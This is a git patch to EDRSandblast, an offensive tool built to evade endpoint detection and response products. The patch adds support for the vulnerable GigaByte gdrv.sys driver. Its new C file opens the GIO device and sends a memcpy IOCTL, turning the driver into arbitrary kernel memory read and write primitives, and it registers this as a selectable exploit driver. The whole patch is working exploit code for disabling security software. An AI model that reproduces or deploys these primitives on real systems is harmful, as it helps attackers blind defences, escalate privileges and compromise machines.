From 0bbe76aab134893151032f64065d6c68ebae2035 Mon Sep 17 00:00:00 2001 From: v1k1ngfr Date: Sun, 25 Dec 2022 01:07:15 +0100 Subject: [PATCH] New BYOVD-driver support: GDRV.sys (GigaByte) --- EDRSandblast/Drivers/DriverGDRV.c | 120 ++++++++++++++++++ EDRSandblast/EDRSandblast.vcxproj | 2 + EDRSandblast/EDRSandblast.vcxproj.filters | 6 + EDRSandblast/Includes/DriverGDRV.h | 7 + .../Includes/KernelMemoryPrimitives.h | 7 +- EDRSandblast/Utils/KernelMemoryPrimitives.c | 1 + 6 files changed, 142 insertions(+), 1 deletion(-) create mode 100644 EDRSandblast/Drivers/DriverGDRV.c create mode 100644 EDRSandblast/Includes/DriverGDRV.h diff --git a/EDRSandblast/Drivers/DriverGDRV.c b/EDRSandblast/Drivers/DriverGDRV.c new file mode 100644 index 0000000..42b28f3 --- /dev/null +++ b/EDRSandblast/Drivers/DriverGDRV.c @@ -0,0 +1,120 @@ +// Details are available here : https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-of-privilege-vulnerabilities/ +#include "DriverGDRV.h" +#include +#include +#include + +#if NO_STRINGS +#define _putts_or_not(...) +#define _tprintf_or_not(...) +#define wprintf_or_not(...) +#define printf_or_not(...) +#pragma warning(disable : 4189) + +#else +#define _putts_or_not(...) _putts(__VA_ARGS__) +#define _tprintf_or_not(...) _tprintf(__VA_ARGS__) +#define printf_or_not(...) printf(__VA_ARGS__) +#define wprintf_or_not(...) wprintf(__VA_ARGS__) +#endif + +/* +* "gdrv.sys" (SHA256: xxx) +*/ + +struct GDRV_MEMORY_READ { + DWORD64 Dst; + DWORD64 Src; + DWORD ReadSize; +}; + +struct GDRV_MEMORY_WRITE { + DWORD64 Dst; + DWORD64 Src; + DWORD WriteSize; +}; + +//#define IOCTL_GIO_MEMCPY 0xC3502808 +static const DWORD GDRV_MEMORY_READ_CODE = 0xC3502808; +static const DWORD GDRV_MEMORY_WRITE_CODE = 0xC3502808; + +HANDLE g_Device_GDRV = INVALID_HANDLE_VALUE; +HANDLE GetDriverHandle_GDRV() { + if (g_Device_GDRV == INVALID_HANDLE_VALUE) { + TCHAR service[] = TEXT("\\\\.\\GIO"); + HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (Device == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n")); + exit(EXIT_FAILURE); + } + g_Device_GDRV = Device; + } + return g_Device_GDRV; +} + +VOID CloseDriverHandle_GDRV() { + CloseHandle(g_Device_GDRV); + g_Device_GDRV = INVALID_HANDLE_VALUE; +} + + +VOID ReadMemoryPrimitive_GDRV(SIZE_T Size, DWORD64 Address, PVOID Buffer) { + if (Address < 0x0000800000000000) { + _tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address); + exit(1); + } + if (Address < 0xFFFF800000000000) { + _tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address); + exit(1); + } + if (Size < sizeof(BYTE) || Size > sizeof(DWORD64)) { + _tprintf_or_not(TEXT("Unsupported size for read operation, aborting...\n")); + exit(1); + } + //copy Size bytes from Src to Dest + struct GDRV_MEMORY_READ ReadCommand = { 0 }; + ReadCommand.Src = Address; + ReadCommand.Dst = Buffer; + ReadCommand.ReadSize = Size; + + DWORD BytesReturned=0; + DeviceIoControl(GetDriverHandle_GDRV(), + GDRV_MEMORY_READ_CODE, + &ReadCommand, + sizeof(ReadCommand), + &ReadCommand, + sizeof(ReadCommand), + &BytesReturned, + NULL); +} + +VOID WriteMemoryPrimitive_GDRV(SIZE_T Size, DWORD64 Address, PVOID Buffer) { + if (Address < 0x0000800000000000) { + _tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address); + exit(1); + } + if (Address < 0xFFFF800000000000) { + _tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address); + exit(1); + } + if (Size < sizeof(BYTE) || Size > sizeof(DWORD64)) { + _putts_or_not(TEXT("Unsupported size for read operation, aborting...\n")); + exit(1); + } + //copy Size bytes from Dest to Src + struct GDRV_MEMORY_WRITE WriteCommand = { 0 }; + WriteCommand.Src = Buffer; + WriteCommand.Dst = Address; + WriteCommand.WriteSize = Size; + + DWORD BytesReturned = 0; + DeviceIoControl(GetDriverHandle_GDRV(), + GDRV_MEMORY_WRITE_CODE, + &WriteCommand, + sizeof(WriteCommand), + &WriteCommand, + sizeof(WriteCommand), + &BytesReturned, + NULL); +} diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj index 7d362e1..1393b6e 100644 --- a/EDRSandblast/EDRSandblast.vcxproj +++ b/EDRSandblast/EDRSandblast.vcxproj @@ -163,6 +163,7 @@ + @@ -201,6 +202,7 @@ + diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters index fca7bd5..1e05813 100644 --- a/EDRSandblast/EDRSandblast.vcxproj.filters +++ b/EDRSandblast/EDRSandblast.vcxproj.filters @@ -117,6 +117,9 @@ Source Files + + Source Files + @@ -230,6 +233,9 @@ Header Files + + Header Files + diff --git a/EDRSandblast/Includes/DriverGDRV.h b/EDRSandblast/Includes/DriverGDRV.h new file mode 100644 index 0000000..b230eff --- /dev/null +++ b/EDRSandblast/Includes/DriverGDRV.h @@ -0,0 +1,7 @@ +#pragma once +#include + +HANDLE GetDriverHandle_GDRV(); +VOID CloseDriverHandle_GDRV(); +VOID ReadMemoryPrimitive_GDRV(SIZE_T Size, DWORD64 Address, PVOID Buffer); +VOID WriteMemoryPrimitive_GDRV(SIZE_T Size, DWORD64 Address, PVOID Buffer); diff --git a/EDRSandblast/Includes/KernelMemoryPrimitives.h b/EDRSandblast/Includes/KernelMemoryPrimitives.h index 63285f3..a95553d 100644 --- a/EDRSandblast/Includes/KernelMemoryPrimitives.h +++ b/EDRSandblast/Includes/KernelMemoryPrimitives.h @@ -11,6 +11,7 @@ #define RTCore 0 #define DBUtil 1 +#define GDRV 2 // Select the driver to use with the following #define #define VULN_DRIVER RTCore @@ -24,9 +25,13 @@ #define CloseDriverHandle CloseDriverHandle_DBUtil #define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil #define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil +#elif VULN_DRIVER == GDRV +#define DEFAULT_DRIVER_FILE TEXT("gdrv.sys") +#define CloseDriverHandle CloseDriverHandle_GDRV +#define ReadMemoryPrimitive ReadMemoryPrimitive_GDRV +#define WriteMemoryPrimitive WriteMemoryPrimitive_GDRV #endif - BYTE ReadMemoryBYTE(DWORD64 Address); WORD ReadMemoryWORD(DWORD64 Address); DWORD ReadMemoryDWORD(DWORD64 Address); diff --git a/EDRSandblast/Utils/KernelMemoryPrimitives.c b/EDRSandblast/Utils/KernelMemoryPrimitives.c index 076949f..f5018cd 100644 --- a/EDRSandblast/Utils/KernelMemoryPrimitives.c +++ b/EDRSandblast/Utils/KernelMemoryPrimitives.c @@ -5,6 +5,7 @@ #include "DriverRTCore.h" #include "DriverDBUtil.h" +#include "DriverGDRV.h" #include "KernelUtils.h" #include "../EDRSandblast.h"